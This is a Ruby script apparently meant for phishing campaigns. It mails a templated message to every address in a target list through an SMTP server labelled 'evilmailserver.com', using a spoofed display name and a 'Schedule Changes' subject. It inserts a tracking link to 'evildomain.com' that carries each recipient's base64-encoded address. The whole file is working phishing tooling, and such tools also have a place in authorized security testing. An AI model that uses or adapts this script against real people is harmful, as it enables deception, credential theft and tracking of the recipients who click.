sendmail.rb

#!/usr/bin/env ruby

require 'net/smtp'
require 'base64'

###change the below:
username =      '[email protected]'
password =      'Password1'
from =          '[email protected]'
display_from =  'User full name'
subject =       'Schedule Changes'
date =          'Thursday, November 12, 2015'
url =           'http://evildomain.com/index.php?'
smtp =          'evilmailserver.com'
smtpout =       'evilmailserver.com'
port =          '25'
message = []

def sendemail(username, password, from, message, email, port, smtpout, smtp)
    # code to send email
    begin
        Net::SMTP.start("#{smtpout}", "#{port}", "#{smtp}","#{username}", "#{password}", :plain) do |smtp|
            smtp.send_message message, "#{from}", email.chomp
        end
        puts "\tSent to: #{email}"
    rescue => e
        puts "\tIssues Sending to: #{email}\r\n#{e.class}\r\n#{e}"
    end
end

unless ARGV.length == 2
    puts "./sendmail.rb <email-addys.txt> <email_message.txt>\n"
    exit!
else
    emails = File.open(ARGV[0], 'r')
end

count = 1
puts "Sending Emails:"
emails.each_line do |email|
    message = []
    # base64 encode email address
    encode = "#{Base64.encode64("#{email}")}"

    email_message = File.open(ARGV[1], 'r')
    email_message.each_line do |line|
        if line =~ /\#{url}/
            message << line.gsub(/\#{url}/, "#{url}#{encode.chomp}")
        elsif line =~ /\#{to}/
            message << line.gsub(/\#{to}/, "#{email.chomp}")
        elsif line =~ /\#{from}/ and line =~ /\#{display_from}/
            message << line.gsub(/\#{display_from} <\#{from}>/, "#{display_from} <#{from}>")
        elsif line =~ /\#{display_from}/ and not line =~ /\#{from}/
            message << line.gsub(/\#{display_from}/, "#{display_from}")
        elsif line =~ /\#{subject}/
            message << line.gsub(/\#{subject}/, "#{subject}")
        elsif line =~ /\#{date}/
            message << line.gsub(/\#{date}/, "#{date}")
        else
            message << line
        end
    end
    email_message.close

    text = message.join

    # send emails
    sendemail(username, password, from, text, email, port, smtpout, smtp)
end

# close files
emails.close